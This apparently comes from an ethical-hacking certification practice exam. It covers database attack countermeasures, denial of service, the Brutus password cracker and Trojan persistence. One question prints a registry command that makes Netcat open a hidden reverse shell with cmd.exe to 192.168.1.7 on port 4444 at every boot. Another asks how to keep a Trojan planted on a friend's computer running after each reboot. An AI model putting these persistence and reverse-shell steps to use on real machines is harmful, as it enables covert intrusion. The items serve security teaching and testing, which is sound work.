Which of the following are countermeasures to prevent unauthorized database access attacks?
Each correct answer represents a complete solution. Choose all that apply.

• A.Input sanitization
• B.Removing all stored procedures
• C.Applying strong firewall rules
• D.Session encryption

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A user is sending a large number of protocol packets to a network in order to saturate its resources and to disrupt connections to prevent communications between services. Which type of attack is this?

• A.Social Engineering attack
• B.Impersonation attack
• C.Vulnerability attack
• D.Denial-of-Service attack

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You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
"c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
What task do you want to perform by running this command?
Each correct answer represents a complete solution. Choose all that apply.

• A.You want to set the Netcat to execute command any time.
• B.You want to put Netcat in the stealth mode.
• C.You want to perform banner grabbing.
• D.You want to add the Netcat command to the Windows registry.

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Brutus is a password cracking tool that can be used to crack the following authentications:
l HTTP (Basic Authentication)
l HTTP (HTML Form/CGI)
l POP3 (Post Office Protocol v3)
l FTP (File Transfer Protocol)
l SMB (Server Message Block)
l Telnet
Which of the following attacks can be performed by Brutus for password cracking?
Each correct answer represents a complete solution. Choose all that apply.

• A.Hybrid attack
• B.Replay attack
• C.Dictionary attack
• D.Brute force attack
• E.Man-in-the-middle attack

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You have inserted a Trojan on your friend's computer and you want to put it in the startup so that whenever the computer reboots the Trojan will start to run on the startup. Which of the following registry entries will you edit to accomplish the task?

• A.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Startup
• B.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Start
• C.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
• D.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Auto

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